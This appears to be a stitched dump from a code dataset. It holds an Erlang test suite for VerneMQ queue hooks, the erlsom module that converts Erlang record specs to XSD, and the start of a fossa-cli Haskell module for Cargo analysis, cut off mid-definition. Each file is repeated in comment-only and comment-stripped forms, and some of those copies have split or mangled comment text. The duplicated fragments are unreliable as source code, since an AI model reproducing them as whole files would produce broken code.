hook_called(Hook);
[{Hook, true}] -> ok
end.
hook_auth_on_subscribe(_, _, _) -> ok.
hook_auth_on_publish(_, _, _, _, _, _) -> ok.
hook_on_client_wakeup({"", <<"queue-client">>}) ->
ets:insert(?MODULE, {on_client_wakeup, true});
hook_on_client_wakeup(_) ->
ok.
hook_on_client_gone({"", <<"queue-client">>}) ->
ets:insert(?MODULE, {on_client_gone, true});
hook_on_client_gone(_) ->
ok.
hook_on_client_offline({"", <<"queue-client">>}) ->
ets:insert(?MODULE, {on_client_offline, true});
hook_on_client_offline(_) ->
ok.
hook_on_offline_message({"", <<"queue-client">>}) ->
ets:insert(?MODULE, {on_offline_message, true});
hook_on_offline_message(_) ->
ok.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%% Helper
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
enable_on_subscribe() ->
vmq_plugin_mgr:enable_module_plugin(
auth_on_subscribe, ?MODULE, hook_auth_on_subscribe, 3).
enable_on_publish() ->
vmq_plugin_mgr:enable_module_plugin(
auth_on_publish, ?MODULE, hook_auth_on_publish, 6).
disable_on_subscribe() ->
vmq_plugin_mgr:disable_module_plugin(
auth_on_subscribe, ?MODULE, hook_auth_on_subscribe, 3).
disable_on_publish() ->
vmq_plugin_mgr:disable_module_plugin(
auth_on_publish, ?MODULE, hook_auth_on_publish, 6).
enable_queue_hooks() ->
vmq_plugin_mgr:enable_module_plugin(
on_client_gone, ?MODULE, hook_on_client_gone, 1),
vmq_plugin_mgr:enable_module_plugin(
on_client_offline, ?MODULE, hook_on_client_offline, 1),
vmq_plugin_mgr:enable_module_plugin(
on_client_wakeup, ?MODULE, hook_on_client_wakeup, 1),
vmq_plugin_mgr:enable_module_plugin(
on_offline_message, ?MODULE, hook_on_offline_message, 1).
disable_queue_hooks() ->
vmq_plugin_mgr:disable_module_plugin(
on_client_gone, ?MODULE, hook_on_client_gone, 1),
vmq_plugin_mgr:disable_module_plugin(
on_client_offline, ?MODULE, hook_on_client_offline, 1),
vmq_plugin_mgr:disable_module_plugin(
on_client_wakeup, ?MODULE, hook_on_client_wakeup, 1),
vmq_plugin_mgr:disable_module_plugin(
on_offline_message, ?MODULE, hook_on_offline_message, 1).
| null | https://raw.githubusercontent.com/erlio/vmq_server/d008c6dcc62fe985d08456caa4024750e1febf38/test/vmq_queue_hooks_SUITE.erl | erlang | suite/0,
===================================================================
common_test callbacks
===================================================================
Actual Tests
publish an offline message
Hooks (as explicit as possible)
Helper
| -module(vmq_queue_hooks_SUITE).
-export([
init_per_suite/1,
end_per_suite/1,
init_per_testcase/2,
end_per_testcase/2,
all/0
]).
-export([queue_hooks_lifecycle_test1/1,
queue_hooks_lifecycle_test2/1,
queue_hooks_lifecycle_test3/1]).
-export([hook_auth_on_subscribe/3,
hook_auth_on_publish/6,
hook_on_client_gone/1,
hook_on_client_offline/1,
hook_on_client_wakeup/1,
hook_on_offline_message/1]).
init_per_suite(_Config) ->
cover:start(),
_Config.
end_per_suite(_Config) ->
_Config.
init_per_testcase(_Case, Config) ->
vmq_test_utils:setup(),
vmq_server_cmd:set_config(allow_anonymous, true),
vmq_server_cmd:set_config(retry_interval, 10),
vmq_server_cmd:listener_start(1888, []),
ets:new(?MODULE, [public, named_table]),
enable_on_publish(),
enable_on_subscribe(),
enable_queue_hooks(),
Config.
end_per_testcase(_, Config) ->
disable_queue_hooks(),
disable_on_subscribe(),
disable_on_publish(),
vmq_test_utils:teardown(),
ets:delete(?MODULE),
Config.
all() ->
[queue_hooks_lifecycle_test1,
queue_hooks_lifecycle_test2,
queue_hooks_lifecycle_test3].
queue_hooks_lifecycle_test1(_) ->
Connect = packet:gen_connect("queue-client", [{keepalive, 60}]),
Connack = packet:gen_connack(0),
{ok, Socket} = packet:do_client_connect(Connect, Connack, []),
ok = hook_called(on_client_wakeup),
gen_tcp:close(Socket),
ok = hook_called(on_client_gone).
queue_hooks_lifecycle_test2(_) ->
Connect = packet:gen_connect("queue-client", [{keepalive, 60}, {clean_session, false}]),
Connack = packet:gen_connack(0),
{ok, Socket} = packet:do_client_connect(Connect, Connack, []),
ok = hook_called(on_client_wakeup),
gen_tcp:close(Socket),
ok = hook_called(on_client_offline).
queue_hooks_lifecycle_test3(_) ->
Connect = packet:gen_connect("queue-client", [{keepalive, 60}, {clean_session, false}]),
Connack = packet:gen_connack(0),
Subscribe = packet:gen_subscribe(3265, "queue/hook/test", 1),
Suback = packet:gen_suback(3265, 1),
{ok, Socket} = packet:do_client_connect(Connect, Connack, []),
ok = hook_called(on_client_wakeup),
gen_tcp:send(Socket, Subscribe),
ok = packet:expect_packet(Socket, "suback", Suback),
gen_tcp:close(Socket),
ok = hook_called(on_client_offline),
Connect1 = packet:gen_connect("queue-pub-client", [{keepalive, 60}]),
Connack1 = packet:gen_connack(0),
{ok, Socket1} = packet:do_client_connect(Connect1, Connack1, []),
Publish = packet:gen_publish("queue/hook/test", 1, <<"message">>, [{mid, 19}]),
Puback = packet:gen_puback(19),
gen_tcp:send(Socket1, Publish),
ok = packet:expect_packet(Socket1, "puback", Puback),
gen_tcp:close(Socket1),
ok = hook_called(on_offline_message).
hook_called(Hook) ->
case ets:lookup(?MODULE, Hook) of
[] ->
timer:sleep(50),
hook_called(Hook);
[{Hook, true}] -> ok
end.
hook_auth_on_subscribe(_, _, _) -> ok.
hook_auth_on_publish(_, _, _, _, _, _) -> ok.
hook_on_client_wakeup({"", <<"queue-client">>}) ->
ets:insert(?MODULE, {on_client_wakeup, true});
hook_on_client_wakeup(_) ->
ok.
hook_on_client_gone({"", <<"queue-client">>}) ->
ets:insert(?MODULE, {on_client_gone, true});
hook_on_client_gone(_) ->
ok.
hook_on_client_offline({"", <<"queue-client">>}) ->
ets:insert(?MODULE, {on_client_offline, true});
hook_on_client_offline(_) ->
ok.
hook_on_offline_message({"", <<"queue-client">>}) ->
ets:insert(?MODULE, {on_offline_message, true});
hook_on_offline_message(_) ->
ok.
enable_on_subscribe() ->
vmq_plugin_mgr:enable_module_plugin(
auth_on_subscribe, ?MODULE, hook_auth_on_subscribe, 3).
enable_on_publish() ->
vmq_plugin_mgr:enable_module_plugin(
auth_on_publish, ?MODULE, hook_auth_on_publish, 6).
disable_on_subscribe() ->
vmq_plugin_mgr:disable_module_plugin(
auth_on_subscribe, ?MODULE, hook_auth_on_subscribe, 3).
disable_on_publish() ->
vmq_plugin_mgr:disable_module_plugin(
auth_on_publish, ?MODULE, hook_auth_on_publish, 6).
enable_queue_hooks() ->
vmq_plugin_mgr:enable_module_plugin(
on_client_gone, ?MODULE, hook_on_client_gone, 1),
vmq_plugin_mgr:enable_module_plugin(
on_client_offline, ?MODULE, hook_on_client_offline, 1),
vmq_plugin_mgr:enable_module_plugin(
on_client_wakeup, ?MODULE, hook_on_client_wakeup, 1),
vmq_plugin_mgr:enable_module_plugin(
on_offline_message, ?MODULE, hook_on_offline_message, 1).
disable_queue_hooks() ->
vmq_plugin_mgr:disable_module_plugin(
on_client_gone, ?MODULE, hook_on_client_gone, 1),
vmq_plugin_mgr:disable_module_plugin(
on_client_offline, ?MODULE, hook_on_client_offline, 1),
vmq_plugin_mgr:disable_module_plugin(
on_client_wakeup, ?MODULE, hook_on_client_wakeup, 1),
vmq_plugin_mgr:disable_module_plugin(
on_offline_message, ?MODULE, hook_on_offline_message, 1).
|
030ccf8be07e0c7c95bad8b1e5e51dbeee736bbd483ec08a17d430eff0fcfb9c | willemdj/erlsom | erlsom_type2xsd.erl | %% translates an erlang type specification to an xsd.
%% The set of type specifications that can be translated is limited
%% The spec consists of record definitions only.
%% Only integer() and string() can be used as basic types.
%% Lists and unions can be used to structure things (no tuples).
%% All fields will be optional, except if you provide a default value (this is
%% conform the meaning of the type specs). This is often not what you
want in the XSD . It is easy to fix this in the resulting XSD .
%% 'elements' will be created for all types. You can change this behaviour by
%% explicitly limiting for which types elements must be created by using
%% a module attribute "-erlsom_xsd_elements([Name])." (It is recommended
%% to do this, since it will result in better type checking and
a cleaner XSD ) .
%% a namespace can be specified using a command line option, or using
%% a special attribute in the file.
%% It is possible to indicate which fields of a record have to be implemented
%% as attributes by putting a module attribute "-erlsom_xsd_attributes([Name]).", where
%% Name is of the form Record.Field. Attributes have to be declared in this way
%% before the record in which they are used.
%% Alternativily, the fields can be given a name that starts with '@': '@attribute'.
NOTE : only the first ( couple of ) elements of the record can be
declared as attributes , since Erlsom will always put the attributes first .
%%
-module(erlsom_type2xsd).
-export([test/0, test/1, type_to_xsd/2, type_to_xsd/3]).
-export([file/2, file/3]).
-export([translate_forms/2]).
the records for XSD elements
-include("erlsom.hrl"). %% qname{} and ns{}
result of erl_parse : parse_form ( )
-type uri() :: string().
-type prefix() :: string().
-type option() :: {target_namespace, {uri(), prefix()}}.
%% testing bits
testString() ->
{ok, Binary} = file:read_file("test_hrl_sms.hrl"),
binary_to_list(Binary).
test() ->
test([]).
test(_Options) ->
XsdFile = "test_hrl_sms.xsd",
type_to_xsd(testString(), XsdFile),
{ok,Model} = erlsom:compile_xsd_file(XsdFile, [{include_any_attribs, false}]),
{ok, Struct, _} = erlsom:scan_file("sms.xml", Model),
Struct.
%% end of testing bits
-record(state,
{elements = [] %% accumulates the top level elements
,types = [] %% accumulates the types
,atts = [] %% holds the list of elements that must be treated as
%% attributes
,els = [] %% the list of 'top level' elements. If empty, all types
%% will be made available as elements
,ns %% holds the namespace ({Namespace, Prefix}).
}).
file(Hrl_file, Xsd_file) ->
file(Hrl_file, Xsd_file, []).
file(Hrl_file, Xsd_file, Options) ->
{ok, Binary} = file:read_file(Hrl_file),
type_to_xsd(binary_to_list(Binary), Xsd_file, Options).
type_to_xsd(String, XsdFile) ->
type_to_xsd(String, XsdFile, []).
type_to_xsd(String, XsdFile, Options) ->
{ok, Tokens, _} = erl_scan:string(String),
Forms = splitForms(Tokens),
ParsedForms = [erl_parse:parse_form(Form) || Form <- Forms],
io:format("parsed: ~p~n", [ParsedForms]),
Ok_forms = [Form || {ok, Form} <- ParsedForms],
Schema = translate_forms(Ok_forms, Options),
Xsd = make_xsd(Schema),
file:write_file(XsdFile, Xsd).
%% translate a set of forms (result erl_parse:parse_form()) to an XML schema.
%% The forms must be records ({attribute, record, _, {Name, Fields}}) or
%% the special attributes that can be used to specify things like the
%% target namespace etc.
-spec translate_forms(XSD_forms::form(), Options::[option()]) -> #schemaType{}.
translate_forms(Forms, Options) ->
Tns = proplists:get_value('target_namespace', Options, {"TargetNamespace", "tns"}),
#state{elements = Elements, types = Types, ns = Tns2} =
translateForms(Forms, #state{ns = Tns}),
#schemaType{elements = Elements ++ Types,
targetNamespace = getTns(Tns2),
elementFormDefault= "qualified", attributeFormDefault = "unqualified"}.
getTns({Value, _Prefix}) -> Value.
translateForms([], State) ->
State;
translateForms([Form | T], S) ->
%% io:format("form: ~p~n", [Form]),
translateForms(T, translate(Form, S)).
returns State
translate({attribute, _, record, {Name, Fields}},
State = #state{elements = Els, types = Types, els = ExportEls,
ns = Target_namespace}) ->
%% return an element and a type
ElementName = atom_to_list(Name),
NewEls = case exportElement(ElementName, ExportEls) of
true ->
[#globalElementType{name = ElementName, type=qname(ElementName, Target_namespace)} | Els];
false ->
Els
end,
{Elements, Attributes} = translateFields(Fields, ElementName, State),
Model = #sequenceType{elements = Elements},
Type = #globalComplexTypeType{name = ElementName, attributes = Attributes, model = Model},
State#state{elements = NewEls, types = [Type | Types]};
translate({attribute, _, erlsom_xsd_elements, Els}, State = #state{els = ElsAcc}) ->
State#state{els = Els ++ ElsAcc};
%% state.ns holds the namespace ({Namespace, Prefix}).
translate({attribute, _, erlsom_xsd_namespace, {Ns, Pf}}, State) ->
State#state{ns = {Ns, Pf}};
translate({attribute, _, erlsom_xsd_namespace, Ns}, State) ->
State#state{ns = {Ns, undefined}};
translate({attribute, _, erlsom_xsd_attributes, Atts}, State = #state{atts = AttsAcc}) ->
State#state{atts = Atts ++ AttsAcc}.
translateFields(Fields, ElementName, State) ->
translateFields(Fields, [], [], ElementName, State).
translateFields([], Els, Atts, _ElementName, _State) ->
{lists:reverse(Els), lists:reverse(Atts)};
translateFields([{typed_record_field, Name, Type} | Tail], Els, Atts,
ElementName, #state{ns = Tns} = State) ->
{FieldName, MarkedAsAttr} = translateName(Name),
case isAttribute(FieldName, State#state.atts, ElementName) or MarkedAsAttr of
true ->
translateFields(Tail, Els, [translateAttribute(FieldName, Type, Tns) | Atts], ElementName, State);
false ->
translateFields(Tail, [translateElement(FieldName, Type, State) | Els], Atts, ElementName, State)
end.
isAttribute(FieldName, Atts, ElementName) ->
%% Atts is a list of strings "[Element.Field"]
AttName = ElementName ++ "." ++ FieldName,
lists:member(AttName, Atts).
translateElement(FieldName, Type, #state{ns = Tns}) ->
{TranslatedType, MinOccurs, MaxOccurs} = translateType(Type, Tns),
case TranslatedType of
#choiceType{} ->
TranslatedType#choiceType{minOccurs = MinOccurs, maxOccurs = MaxOccurs};
_ ->
#localElementType{name = FieldName, type = TranslatedType, minOccurs = MinOccurs, maxOccurs = MaxOccurs}
end.
translateAttribute(Field, Type, Tns) ->
%% TODO: a check on the validity of attribute types
{TranslatedType, _MinOccurs, _MaxOccurs} = translateType(Type, Tns),
%% TODO: attributes can be optional
#localAttributeType{name = Field, type = TranslatedType}.
-spec translateName(Record :: term()) -> {Name :: string(), IsAttribute :: boolean()}.
%% If Name starts with @, IsAttribute = true and @ is stripped of.
translateName({record_field, LineNo, Name, _Default}) ->
translateName({record_field, LineNo, Name});
translateName({record_field, _, {atom, _, Name}}) ->
case atom_to_list(Name) of
[$@ | T] ->
{T, true};
Other ->
{Other, false}
end.
returns { TranslatedType , MinOccurs , MaxOccurs }
-record(qname , { uri , localPart , prefix , } ) .
%% if the type is a union with 'undefined', the field is optional.
%% Type can be a union, a list, a simple type, ...?
%% The most complicated case is a union, so lets build a list of alternatives.
If one of the alternatives = " undefined " , we can discard that , and make the
%% entire type optional.
If we still have more than 1 alternative left , it is a choice .
translateType({type, _, union, Alternatives}, Tns) ->
FilterUndefined = fun({atom, _, undefined}) -> true;
(_) -> false
end,
FilterDefined = fun(X) -> not(FilterUndefined(X)) end,
%% look for 'undefined' (and remove it)
Optional = lists:any(FilterUndefined, Alternatives),
Alternatives2 = lists:filter(FilterDefined, Alternatives),
now it can either be a single simple type , or a real choice between 2 or more record types
MinOccurs = case Optional of
true -> "0";
_ -> undefined
end,
case Alternatives2 of
[{type, _, SimpleType, _} = TheType] when SimpleType == integer; SimpleType == boolean;
SimpleType == string; SimpleType == record;
SimpleType == float; SimpleType == non_neg_integer;
SimpleType == pos_integer;
SimpleType == neg_integer ->
%% not really a choice
{Type, _, MaxOccurs} = translateType(TheType, Tns),
{Type, MinOccurs, MaxOccurs};
%% some special cases that correspond to types that are generated by
%% erlsom:write_xsd_hrl_file for the types float and
%% nonPositiveInteger():
[{type,_,float,[]}, {atom,_,'NaN'}, {atom,_,'INF'}, {atom,_,'-INF'}] ->
Type = #qname{localPart = "float",
uri = ""},
{Type, MinOccurs, undefined};
[{type,_,neg_integer,[]},{integer,_,0}] ->
Type = #qname{localPart = "nonPositiveInteger",
uri = ""},
{Type, MinOccurs, undefined};
[{type, _, list, [Element]}] -> %% not really a choice
{Type, _, _} = translateType(Element, Tns),
{Type, MinOccurs, "unbounded"};
_ ->
TranslatedAlternatives = [translateAlternative(Alternative, Tns) ||
Alternative <- Alternatives2],
{#choiceType{alternatives = TranslatedAlternatives}, MinOccurs, undefined}
end;
translateType({type, _, list, [Element]}, Tns) ->
TranslatedElement = translateType(Element, Tns),
{TranslatedElement, "0", "unbounded"};
translateType({type, _, record, [{atom, _, RecordType}]}, Tns) ->
{qname(atom_to_list(RecordType), Tns),
undefined, undefined};
translateType({atom, _, undefined}, _) ->
undefined;
translateType({type, _, Base_type, []}, _) ->
{#qname{localPart = translate_base_type(Base_type),
uri = ""},
undefined, undefined}.
translate_base_type(integer) -> "integer";
translate_base_type(float) -> "float";
translate_base_type(boolean) -> "boolean";
translate_base_type(string) -> "string";
translate_base_type(pos_integer) -> "positiveInteger";
translate_base_type(non_neg_integer) -> "nonNegativeInteger";
translate_base_type(neg_integer) -> "negativeInteger".
%% alternatives have to be references to records (or lists of those).
translateAlternative({type, _, record, [{atom, _, RecordName}]}, Tns) ->
#localElementType{name = atom_to_list(RecordName), type = qname(atom_to_list(RecordName), Tns)}.
splitForms(Tokens) ->
splitForms(Tokens, [], []).
splitForms([{dot, Line} | Tail], TokenAcc, FormAcc) ->
splitForms(Tail, [], [lists:reverse([{dot, Line} | TokenAcc]) | FormAcc]);
splitForms([], [], FormAcc) ->
lists:reverse(FormAcc);
splitForms([Token | Tail], TokenAcc, FormAcc) ->
splitForms(Tail, [Token | TokenAcc], FormAcc).
make_xsd(Schema) ->
%% get the model
Model = erlsom_parseXsd:xsdModel(),
%% create the Xsd
%% %% TODO: attributes can be optional
{ok, R} = erlsom:write(Schema, Model),
erlsom_lib:prettyPrint(R).
if no elements are declared explicitly , all will be part of the XSD .
exportElement(_Element, []) ->
true;
exportElement(Element, List) ->
lists:member(Element, List).
-record(qname , { uri , localPart , prefix , } ) .
qname(LocalPart, {Tns, Prefix}) ->
#qname{localPart = LocalPart, uri = Tns, prefix = Prefix, mappedPrefix = Prefix}.
| null | https://raw.githubusercontent.com/willemdj/erlsom/41967fcda4fde9593f0eb9f43cdc08701ef3ba4e/src/erlsom_type2xsd.erl | erlang | translates an erlang type specification to an xsd.
The set of type specifications that can be translated is limited
The spec consists of record definitions only.
Only integer() and string() can be used as basic types.
Lists and unions can be used to structure things (no tuples).
All fields will be optional, except if you provide a default value (this is
conform the meaning of the type specs). This is often not what you
'elements' will be created for all types. You can change this behaviour by
explicitly limiting for which types elements must be created by using
a module attribute "-erlsom_xsd_elements([Name])." (It is recommended
to do this, since it will result in better type checking and
a namespace can be specified using a command line option, or using
a special attribute in the file.
It is possible to indicate which fields of a record have to be implemented
as attributes by putting a module attribute "-erlsom_xsd_attributes([Name]).", where
Name is of the form Record.Field. Attributes have to be declared in this way
before the record in which they are used.
Alternativily, the fields can be given a name that starts with '@': '@attribute'.
qname{} and ns{}
testing bits
end of testing bits
accumulates the top level elements
accumulates the types
holds the list of elements that must be treated as
attributes
the list of 'top level' elements. If empty, all types
will be made available as elements
holds the namespace ({Namespace, Prefix}).
translate a set of forms (result erl_parse:parse_form()) to an XML schema.
The forms must be records ({attribute, record, _, {Name, Fields}}) or
the special attributes that can be used to specify things like the
target namespace etc.
io:format("form: ~p~n", [Form]),
return an element and a type
state.ns holds the namespace ({Namespace, Prefix}).
Atts is a list of strings "[Element.Field"]
TODO: a check on the validity of attribute types
TODO: attributes can be optional
If Name starts with @, IsAttribute = true and @ is stripped of.
if the type is a union with 'undefined', the field is optional.
Type can be a union, a list, a simple type, ...?
The most complicated case is a union, so lets build a list of alternatives.
entire type optional.
look for 'undefined' (and remove it)
not really a choice
some special cases that correspond to types that are generated by
erlsom:write_xsd_hrl_file for the types float and
nonPositiveInteger():
not really a choice
alternatives have to be references to records (or lists of those).
get the model
create the Xsd
%% TODO: attributes can be optional |
want in the XSD . It is easy to fix this in the resulting XSD .
a cleaner XSD ) .
NOTE : only the first ( couple of ) elements of the record can be
declared as attributes , since Erlsom will always put the attributes first .
-module(erlsom_type2xsd).
-export([test/0, test/1, type_to_xsd/2, type_to_xsd/3]).
-export([file/2, file/3]).
-export([translate_forms/2]).
the records for XSD elements
result of erl_parse : parse_form ( )
-type uri() :: string().
-type prefix() :: string().
-type option() :: {target_namespace, {uri(), prefix()}}.
testString() ->
{ok, Binary} = file:read_file("test_hrl_sms.hrl"),
binary_to_list(Binary).
test() ->
test([]).
test(_Options) ->
XsdFile = "test_hrl_sms.xsd",
type_to_xsd(testString(), XsdFile),
{ok,Model} = erlsom:compile_xsd_file(XsdFile, [{include_any_attribs, false}]),
{ok, Struct, _} = erlsom:scan_file("sms.xml", Model),
Struct.
-record(state,
}).
file(Hrl_file, Xsd_file) ->
file(Hrl_file, Xsd_file, []).
file(Hrl_file, Xsd_file, Options) ->
{ok, Binary} = file:read_file(Hrl_file),
type_to_xsd(binary_to_list(Binary), Xsd_file, Options).
type_to_xsd(String, XsdFile) ->
type_to_xsd(String, XsdFile, []).
type_to_xsd(String, XsdFile, Options) ->
{ok, Tokens, _} = erl_scan:string(String),
Forms = splitForms(Tokens),
ParsedForms = [erl_parse:parse_form(Form) || Form <- Forms],
io:format("parsed: ~p~n", [ParsedForms]),
Ok_forms = [Form || {ok, Form} <- ParsedForms],
Schema = translate_forms(Ok_forms, Options),
Xsd = make_xsd(Schema),
file:write_file(XsdFile, Xsd).
-spec translate_forms(XSD_forms::form(), Options::[option()]) -> #schemaType{}.
translate_forms(Forms, Options) ->
Tns = proplists:get_value('target_namespace', Options, {"TargetNamespace", "tns"}),
#state{elements = Elements, types = Types, ns = Tns2} =
translateForms(Forms, #state{ns = Tns}),
#schemaType{elements = Elements ++ Types,
targetNamespace = getTns(Tns2),
elementFormDefault= "qualified", attributeFormDefault = "unqualified"}.
getTns({Value, _Prefix}) -> Value.
translateForms([], State) ->
State;
translateForms([Form | T], S) ->
translateForms(T, translate(Form, S)).
returns State
translate({attribute, _, record, {Name, Fields}},
State = #state{elements = Els, types = Types, els = ExportEls,
ns = Target_namespace}) ->
ElementName = atom_to_list(Name),
NewEls = case exportElement(ElementName, ExportEls) of
true ->
[#globalElementType{name = ElementName, type=qname(ElementName, Target_namespace)} | Els];
false ->
Els
end,
{Elements, Attributes} = translateFields(Fields, ElementName, State),
Model = #sequenceType{elements = Elements},
Type = #globalComplexTypeType{name = ElementName, attributes = Attributes, model = Model},
State#state{elements = NewEls, types = [Type | Types]};
translate({attribute, _, erlsom_xsd_elements, Els}, State = #state{els = ElsAcc}) ->
State#state{els = Els ++ ElsAcc};
translate({attribute, _, erlsom_xsd_namespace, {Ns, Pf}}, State) ->
State#state{ns = {Ns, Pf}};
translate({attribute, _, erlsom_xsd_namespace, Ns}, State) ->
State#state{ns = {Ns, undefined}};
translate({attribute, _, erlsom_xsd_attributes, Atts}, State = #state{atts = AttsAcc}) ->
State#state{atts = Atts ++ AttsAcc}.
translateFields(Fields, ElementName, State) ->
translateFields(Fields, [], [], ElementName, State).
translateFields([], Els, Atts, _ElementName, _State) ->
{lists:reverse(Els), lists:reverse(Atts)};
translateFields([{typed_record_field, Name, Type} | Tail], Els, Atts,
ElementName, #state{ns = Tns} = State) ->
{FieldName, MarkedAsAttr} = translateName(Name),
case isAttribute(FieldName, State#state.atts, ElementName) or MarkedAsAttr of
true ->
translateFields(Tail, Els, [translateAttribute(FieldName, Type, Tns) | Atts], ElementName, State);
false ->
translateFields(Tail, [translateElement(FieldName, Type, State) | Els], Atts, ElementName, State)
end.
isAttribute(FieldName, Atts, ElementName) ->
AttName = ElementName ++ "." ++ FieldName,
lists:member(AttName, Atts).
translateElement(FieldName, Type, #state{ns = Tns}) ->
{TranslatedType, MinOccurs, MaxOccurs} = translateType(Type, Tns),
case TranslatedType of
#choiceType{} ->
TranslatedType#choiceType{minOccurs = MinOccurs, maxOccurs = MaxOccurs};
_ ->
#localElementType{name = FieldName, type = TranslatedType, minOccurs = MinOccurs, maxOccurs = MaxOccurs}
end.
translateAttribute(Field, Type, Tns) ->
{TranslatedType, _MinOccurs, _MaxOccurs} = translateType(Type, Tns),
#localAttributeType{name = Field, type = TranslatedType}.
-spec translateName(Record :: term()) -> {Name :: string(), IsAttribute :: boolean()}.
translateName({record_field, LineNo, Name, _Default}) ->
translateName({record_field, LineNo, Name});
translateName({record_field, _, {atom, _, Name}}) ->
case atom_to_list(Name) of
[$@ | T] ->
{T, true};
Other ->
{Other, false}
end.
returns { TranslatedType , MinOccurs , MaxOccurs }
-record(qname , { uri , localPart , prefix , } ) .
If one of the alternatives = " undefined " , we can discard that , and make the
If we still have more than 1 alternative left , it is a choice .
translateType({type, _, union, Alternatives}, Tns) ->
FilterUndefined = fun({atom, _, undefined}) -> true;
(_) -> false
end,
FilterDefined = fun(X) -> not(FilterUndefined(X)) end,
Optional = lists:any(FilterUndefined, Alternatives),
Alternatives2 = lists:filter(FilterDefined, Alternatives),
now it can either be a single simple type , or a real choice between 2 or more record types
MinOccurs = case Optional of
true -> "0";
_ -> undefined
end,
case Alternatives2 of
[{type, _, SimpleType, _} = TheType] when SimpleType == integer; SimpleType == boolean;
SimpleType == string; SimpleType == record;
SimpleType == float; SimpleType == non_neg_integer;
SimpleType == pos_integer;
SimpleType == neg_integer ->
{Type, _, MaxOccurs} = translateType(TheType, Tns),
{Type, MinOccurs, MaxOccurs};
[{type,_,float,[]}, {atom,_,'NaN'}, {atom,_,'INF'}, {atom,_,'-INF'}] ->
Type = #qname{localPart = "float",
uri = ""},
{Type, MinOccurs, undefined};
[{type,_,neg_integer,[]},{integer,_,0}] ->
Type = #qname{localPart = "nonPositiveInteger",
uri = ""},
{Type, MinOccurs, undefined};
{Type, _, _} = translateType(Element, Tns),
{Type, MinOccurs, "unbounded"};
_ ->
TranslatedAlternatives = [translateAlternative(Alternative, Tns) ||
Alternative <- Alternatives2],
{#choiceType{alternatives = TranslatedAlternatives}, MinOccurs, undefined}
end;
translateType({type, _, list, [Element]}, Tns) ->
TranslatedElement = translateType(Element, Tns),
{TranslatedElement, "0", "unbounded"};
translateType({type, _, record, [{atom, _, RecordType}]}, Tns) ->
{qname(atom_to_list(RecordType), Tns),
undefined, undefined};
translateType({atom, _, undefined}, _) ->
undefined;
translateType({type, _, Base_type, []}, _) ->
{#qname{localPart = translate_base_type(Base_type),
uri = ""},
undefined, undefined}.
translate_base_type(integer) -> "integer";
translate_base_type(float) -> "float";
translate_base_type(boolean) -> "boolean";
translate_base_type(string) -> "string";
translate_base_type(pos_integer) -> "positiveInteger";
translate_base_type(non_neg_integer) -> "nonNegativeInteger";
translate_base_type(neg_integer) -> "negativeInteger".
translateAlternative({type, _, record, [{atom, _, RecordName}]}, Tns) ->
#localElementType{name = atom_to_list(RecordName), type = qname(atom_to_list(RecordName), Tns)}.
splitForms(Tokens) ->
splitForms(Tokens, [], []).
splitForms([{dot, Line} | Tail], TokenAcc, FormAcc) ->
splitForms(Tail, [], [lists:reverse([{dot, Line} | TokenAcc]) | FormAcc]);
splitForms([], [], FormAcc) ->
lists:reverse(FormAcc);
splitForms([Token | Tail], TokenAcc, FormAcc) ->
splitForms(Tail, [Token | TokenAcc], FormAcc).
make_xsd(Schema) ->
Model = erlsom_parseXsd:xsdModel(),
{ok, R} = erlsom:write(Schema, Model),
erlsom_lib:prettyPrint(R).
if no elements are declared explicitly , all will be part of the XSD .
exportElement(_Element, []) ->
true;
exportElement(Element, List) ->
lists:member(Element, List).
-record(qname , { uri , localPart , prefix , } ) .
qname(LocalPart, {Tns, Prefix}) ->
#qname{localPart = LocalPart, uri = Tns, prefix = Prefix, mappedPrefix = Prefix}.
|
dd7161627b013d35bb14ff650959a4b113d419fae1cfc93a765cb193462783d8 | fossas/fossa-cli | Cargo.hs | module Strategy.Cargo (
discover,
CargoMetadata (..),
CargoProject (..),
NodeDependency (..),
NodeDepKind (..),
PackageId (..),
Resolve (..),
ResolveNode (..),
buildGraph,
getDeps,
mkProject,
findProjects,
) where
import App.Fossa.Analyze.Types (AnalyzeProject (analyzeProject'), analyzeProject)
import App.Pathfinder.Types (LicenseAnalyzeProject (licenseAnalyzeProject))
import Control.Effect.Diagnostics (
Diagnostics,
Has,
ToDiagnostic,
context,
errCtx,
fatalText,
run,
warn,
)
import Control.Effect.Reader (Reader)
import Data.Aeson.Types (
FromJSON (parseJSON),
Parser,
ToJSON,
withObject,
(.:),
(.:?),
)
import Data.Foldable (for_, traverse_)
import Data.Map.Strict qualified as Map
import Data.Maybe (catMaybes, isJust)
import Data.Set (Set)
import Data.String.Conversion (toText)
import Data.Text qualified as Text
import Diag.Diagnostic (renderDiagnostic)
import Discovery.Filters (AllFilters)
import Discovery.Simple (simpleDiscover)
import Discovery.Walk (
WalkStep (WalkContinue, WalkSkipAll),
findFileNamed,
walkWithFilters',
)
import Effect.Exec (
AllowErr (Never),
Command (..),
Exec,
execJson,
execThrow,
)
import Effect.Grapher (
LabeledGrapher,
direct,
edge,
label,
withLabeling,
)
import Effect.ReadFS (ReadFS, readContentsToml)
import GHC.Generics (Generic)
import Graphing (Graphing, stripRoot)
import Path (Abs, Dir, File, Path, parent, parseRelFile, toFilePath, (</>))
import Prettyprinter (Pretty (pretty))
import Toml (TomlCodec, dioptional, diwrap, (.=))
import Toml qualified
import Types (
DepEnvironment (EnvDevelopment, EnvProduction),
DepType (CargoType),
Dependency (..),
DependencyResults (..),
DiscoveredProject (..),
DiscoveredProjectType (CargoProjectType),
GraphBreadth (Complete),
License (License),
LicenseResult (LicenseResult, licenseFile, licensesFound),
LicenseType (LicenseFile, LicenseSPDX, UnknownType),
VerConstraint (CEq),
insertEnvironment,
)
newtype CargoLabel
= CargoDepKind DepEnvironment
deriving (Eq, Ord, Show)
data PackageId = PackageId
{ pkgIdName :: Text.Text
, pkgIdVersion :: Text.Text
, pkgIdSource :: Text.Text
}
deriving (Eq, Ord, Show)
data PackageDependency = PackageDependency
{ pkgDepName :: Text.Text
, pkgDepReq :: Text.Text
, pkgDepKind :: Maybe Text.Text
}
deriving (Eq, Ord, Show)
data Package = Package
{ pkgName :: Text.Text
, pkgVersion :: Text.Text
, pkgId :: PackageId
, pkgLicense :: Maybe Text.Text
, pkgLicenseFile :: Maybe Text.Text
, pkgDependencies :: [PackageDependency]
}
deriving (Eq, Ord, Show)
data NodeDepKind = NodeDepKind
{ nodeDepKind :: Maybe Text.Text
